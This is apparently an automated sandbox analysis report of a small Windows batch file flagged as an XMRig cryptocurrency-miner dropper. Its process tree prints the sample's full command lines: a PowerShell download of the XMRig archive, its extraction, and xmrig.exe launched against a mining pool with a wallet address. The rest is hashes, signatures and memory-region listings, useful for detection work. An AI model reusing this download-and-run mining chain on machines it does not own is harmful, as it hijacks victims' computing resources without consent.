Analysis

  • max time kernel
    1806s
  • max time network
    1824s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 14:43

General

  • Target

    tesy - Copy (8).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (8).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4704
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4420
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1040

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    e05f6d6ebfffaf585805cdd3d5cecbe1

    SHA1

    9d9aca7ba682331a287e851b79b0bbc44dbb6ab1

    SHA256

    8451486a323e40f691dd9f6b891ab3eb44705f5f988432edf5492b70ede3fe38

    SHA512

    e5f4abed9ca81cc44dd71e4d6729fd80391c8ff999c4ac944b77c3f2aa596a7150d31b3492ed6cf87d9b6a96d8207d0da5f0d5e09c9b10c83bf246614e9c5345

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lbnwdn21.cr3.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    3.2MB

    MD5

    4b2275e8df65719009314a0a23a45558

    SHA1

    95fbef4629f6ace3dba90df63a9825e503e3c7eb

    SHA256

    4b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699

    SHA512

    afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    4.9MB

    MD5

    a43994d394cd4b0897e80768bbd0d393

    SHA1

    d878722f4cb1f33cddce1a12508789fe5af3f957

    SHA256

    b7d51a514d31c29370987cf6fb0978800bb96e045cbb54e8a6d4011c3d9460b1

    SHA512

    c7837a892ab6e18079e06405e86baa8365f943f68c7c93ecb0cfd04d8ba757ad3870c2f9cd9089811cfa6b5f0009e85b004e703793d6832a372a1ca32ba96988

  • memory/1040-143-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-120-0x0000026DAFD20000-0x0000026DAFD40000-memory.dmp

    Filesize

    128KB

  • memory/1040-188-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-187-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-186-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-185-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-184-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-183-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-182-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-181-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-180-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-179-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-178-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-177-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-176-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-175-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-174-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-146-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-173-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-121-0x0000026DB1720000-0x0000026DB1760000-memory.dmp

    Filesize

    256KB

  • memory/1040-122-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-123-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-125-0x0000026DB1760000-0x0000026DB1780000-memory.dmp

    Filesize

    128KB

  • memory/1040-124-0x0000026DB1780000-0x0000026DB17A0000-memory.dmp

    Filesize

    128KB

  • memory/1040-126-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-127-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-128-0x0000026DB1780000-0x0000026DB17A0000-memory.dmp

    Filesize

    128KB

  • memory/1040-129-0x0000026DB1760000-0x0000026DB1780000-memory.dmp

    Filesize

    128KB

  • memory/1040-130-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-131-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-132-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-133-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-134-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-135-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-136-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-137-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-138-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-139-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-140-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-141-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-145-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-172-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-171-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-142-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-144-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-147-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-148-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-149-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-150-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-151-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-152-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-153-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-154-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-155-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-156-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-157-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-158-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-159-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-160-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-161-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-162-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-163-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-164-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-165-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-166-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-167-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-168-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-169-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/1040-170-0x00007FF664C10000-0x00007FF665713000-memory.dmp

    Filesize

    11.0MB

  • memory/4420-42-0x0000024454700000-0x0000024454710000-memory.dmp

    Filesize

    64KB

  • memory/4420-66-0x0000024454700000-0x0000024454710000-memory.dmp

    Filesize

    64KB

  • memory/4420-40-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB

  • memory/4420-117-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB

  • memory/4420-80-0x000002446D190000-0x000002446D1A2000-memory.dmp

    Filesize

    72KB

  • memory/4420-93-0x000002446D170000-0x000002446D17A000-memory.dmp

    Filesize

    40KB

  • memory/4420-41-0x0000024454700000-0x0000024454710000-memory.dmp

    Filesize

    64KB

  • memory/4704-9-0x000002589DE20000-0x000002589DE30000-memory.dmp

    Filesize

    64KB

  • memory/4704-4-0x000002589DEA0000-0x000002589DEC2000-memory.dmp

    Filesize

    136KB

  • memory/4704-25-0x000002589DE20000-0x000002589DE30000-memory.dmp

    Filesize

    64KB

  • memory/4704-7-0x000002589E050000-0x000002589E0C6000-memory.dmp

    Filesize

    472KB

  • memory/4704-8-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB

  • memory/4704-34-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB

  • memory/4704-18-0x000002589DE20000-0x000002589DE30000-memory.dmp

    Filesize

    64KB

  • memory/4704-29-0x000002589DE20000-0x000002589DE30000-memory.dmp

    Filesize

    64KB

  • memory/4704-28-0x000002589DE20000-0x000002589DE30000-memory.dmp

    Filesize

    64KB

  • memory/4704-27-0x000002589DE20000-0x000002589DE30000-memory.dmp

    Filesize

    64KB

  • memory/4704-26-0x00007FFEA1C70000-0x00007FFEA265C000-memory.dmp

    Filesize

    9.9MB